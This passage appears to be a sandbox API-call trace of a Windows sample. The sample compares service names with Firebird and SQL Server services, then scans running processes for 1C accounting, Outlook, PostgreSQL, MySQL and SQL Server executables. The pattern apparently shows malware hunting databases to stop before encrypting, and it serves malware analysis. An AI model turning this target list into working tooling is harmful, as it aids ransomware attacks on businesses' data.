(lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0048.677] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0048.677] lstrlenW (lpString="BFE") returned 3 [0048.677] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0048.677] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0048.677] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0048.677] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0048.677] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0048.678] lstrlenW (lpString="CryptSvc") returned 8 [0048.678] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0048.678] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0048.678] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0048.678] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0048.678] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0048.678] lstrlenW (lpString="CscService") returned 10 [0048.678] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0048.678] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0048.678] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0048.678] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0048.678] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0048.678] lstrlenW (lpString="DcomLaunch") returned 10 [0048.678] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0048.678] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0048.678] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0048.678] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0048.678] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0048.678] lstrlenW (lpString="Dhcp") returned 4 [0048.678] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0048.678] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0048.678] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0048.678] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0048.678] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0048.678] lstrlenW (lpString="Dnscache") returned 8 [0048.678] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0048.678] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0048.678] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0048.678] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0048.678] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0048.678] lstrlenW (lpString="DPS") returned 3 [0048.678] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0048.678] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0048.679] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0048.679] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0048.679] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0048.679] lstrlenW (lpString="eventlog") returned 8 [0048.679] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0048.679] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0048.679] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0048.679] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0048.679] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0048.679] lstrlenW (lpString="EventSystem") returned 11 [0048.679] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0048.679] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0048.679] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0048.679] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0048.679] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0048.679] lstrlenW (lpString="gpsvc") returned 5 [0048.679] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0048.679] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0048.679] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0048.679] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0048.679] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0048.679] lstrlenW (lpString="iphlpsvc") returned 8 [0048.679] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0048.679] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0048.679] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0048.679] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0048.679] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0048.679] lstrlenW (lpString="LanmanServer") returned 12 [0048.679] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0048.679] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0048.679] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0048.679] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0048.680] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0048.680] lstrlenW (lpString="LanmanWorkstation") returned 17 [0048.680] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0048.680] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0048.680] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0048.680] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0048.680] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0048.680] lstrlenW (lpString="lmhosts") returned 7 [0048.680] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0048.680] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0048.680] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0048.680] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0048.680] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0048.680] lstrlenW (lpString="MMCSS") returned 5 [0048.680] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0048.680] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0048.680] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0048.680] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0048.680] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0048.680] lstrlenW (lpString="MpsSvc") returned 6 [0048.680] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0048.680] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0048.680] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0048.680] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0048.680] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0048.680] lstrlenW (lpString="Netman") returned 6 [0048.680] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0048.680] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0048.680] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0048.680] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0048.680] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0048.680] lstrlenW (lpString="netprofm") returned 8 [0048.680] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0048.680] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0048.681] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0048.681] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0048.681] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0048.681] lstrlenW (lpString="NlaSvc") returned 6 [0048.681] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0048.681] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0048.681] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0048.681] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0048.681] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0048.681] lstrlenW (lpString="nsi") returned 3 [0048.681] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0048.681] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0048.681] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0048.681] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0048.681] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0048.681] lstrlenW (lpString="PcaSvc") returned 6 [0048.681] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0048.681] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0048.681] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0048.681] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0048.681] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0048.681] lstrlenW (lpString="PlugPlay") returned 8 [0048.681] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0048.681] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0048.681] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0048.681] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0048.681] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0048.681] lstrlenW (lpString="Power") returned 5 [0048.681] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0048.681] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0048.681] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0048.681] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0048.682] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0048.682] lstrlenW (lpString="ProfSvc") returned 7 [0048.682] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0048.682] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0048.682] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0048.682] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0048.682] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0048.682] lstrlenW (lpString="RpcEptMapper") returned 12 [0048.682] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0048.682] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0048.682] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0048.682] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0048.682] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0048.682] lstrlenW (lpString="RpcSs") returned 5 [0048.682] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0048.682] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0048.685] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0048.685] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0048.685] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0048.685] lstrlenW (lpString="SamSs") returned 5 [0048.685] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0048.685] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0048.685] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0048.686] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0048.686] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0048.686] lstrlenW (lpString="Schedule") returned 8 [0048.686] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0048.686] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0048.686] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0048.686] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0048.686] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0048.687] lstrlenW (lpString="SENS") returned 4 [0048.687] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0048.687] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0048.687] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0048.687] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0048.687] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0048.687] lstrlenW (lpString="ShellHWDetection") returned 16 [0048.687] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0048.687] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0048.687] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0048.687] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0048.687] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0048.687] lstrlenW (lpString="Spooler") returned 7 [0048.687] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0048.687] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0048.687] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0048.687] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0048.687] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0048.687] lstrlenW (lpString="swprv") returned 5 [0048.687] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="swprv") returned -1 [0048.687] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="swprv") returned -1 [0048.687] lstrcmpiW (lpString1="sqlwriter", lpString2="swprv") returned -1 [0048.687] lstrcmpiW (lpString1="mssqlserver", lpString2="swprv") returned -1 [0048.687] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="swprv") returned -1 [0048.687] lstrlenW (lpString="SysMain") returned 7 [0048.687] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0048.687] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0048.687] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0048.687] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0048.687] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0048.687] lstrlenW (lpString="Themes") returned 6 [0048.687] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0048.688] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0048.688] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0048.688] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0048.688] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0048.688] lstrlenW (lpString="TrkWks") returned 6 [0048.688] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0048.688] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0048.688] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0048.688] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0048.688] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0048.688] lstrlenW (lpString="UxSms") returned 5 [0048.688] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0048.688] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0048.688] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0048.688] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0048.688] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0048.688] lstrlenW (lpString="VSS") returned 3 [0048.688] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="VSS") returned -1 [0048.688] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="VSS") returned -1 [0048.688] lstrcmpiW (lpString1="sqlwriter", lpString2="VSS") returned -1 [0048.688] lstrcmpiW (lpString1="mssqlserver", lpString2="VSS") returned -1 [0048.688] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="VSS") returned -1 [0048.688] lstrlenW (lpString="WdiServiceHost") returned 14 [0048.688] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0048.688] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0048.688] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0048.688] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0048.688] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0048.688] lstrlenW (lpString="WdiSystemHost") returned 13 [0048.688] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0048.688] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0048.688] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0048.688] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0048.689] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0048.689] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0048.689] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0048.689] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0048.689] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0048.689] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0048.689] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0048.689] lstrlenW (lpString="Winmgmt") returned 7 [0048.689] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0048.689] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0048.689] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0048.689] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0048.689] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0048.689] lstrlenW (lpString="WPDBusEnum") returned 10 [0048.689] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0048.689] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0048.689] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0048.689] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0048.689] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0048.689] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x26e060 | out: hHeap=0x220000) returned 1 [0048.689] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1cc [0048.691] Process32FirstW (in: hSnapshot=0x1cc, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0048.692] Process32NextW (in: hSnapshot=0x1cc, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0048.693] lstrlenW (lpString="System") returned 6 [0048.693] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0048.693] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0048.693] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0048.693] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0048.693] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0048.693] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0048.693] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0048.693] Process32NextW (in: hSnapshot=0x1cc, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0048.694] lstrlenW (lpString="smss.exe") returned 8 [0048.694] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0048.694] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0048.694] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0048.694] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0048.694] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0048.694] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0048.694] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0048.694] Process32NextW (in: hSnapshot=0x1cc, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0048.694] lstrlenW (lpString="csrss.exe") returned 9 [0048.694] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0048.694] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0048.695] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0048.695] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0048.695] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0048.695] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0048.695] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0048.695] Process32NextW (in: hSnapshot=0x1cc, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0048.695] lstrlenW (lpString="wininit.exe") returned 11 [0048.695] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0048.695] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0048.695] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0048.696] Process32NextW (in: hSnapshot=0x1cc, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0048.696] lstrlenW (lpString="csrss.exe") returned 9 [0048.696] Process32NextW (in: hSnapshot=0x1cc, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0048.697] lstrlenW (lpString="winlogon.exe") returned 12 [0048.697] Process32NextW (in: hSnapshot=0x1cc, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0048.698] lstrlenW (lpString="services.exe") returned 12 [0048.698] Process32NextW (in: hSnapshot=0x1cc, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0048.699] lstrlenW (lpString="lsass.exe") returned 9 [0048.699] Process32NextW (in: hSnapshot=0x1cc, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0048.699] lstrlenW (lpString="lsm.exe") returned 7 [0048.699] Process32NextW (in: hSnapshot=0x1cc, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0048.700] lstrlenW (lpString="svchost.exe") returned 11 [0048.700] Process32NextW (in: hSnapshot=0x1cc, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0048.701] lstrlenW (lpString="svchost.exe") returned 11 [0048.701] Process32NextW (in: hSnapshot=0x1cc, lppe=0x20bfd34 | out: lppe=0x20bfd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, 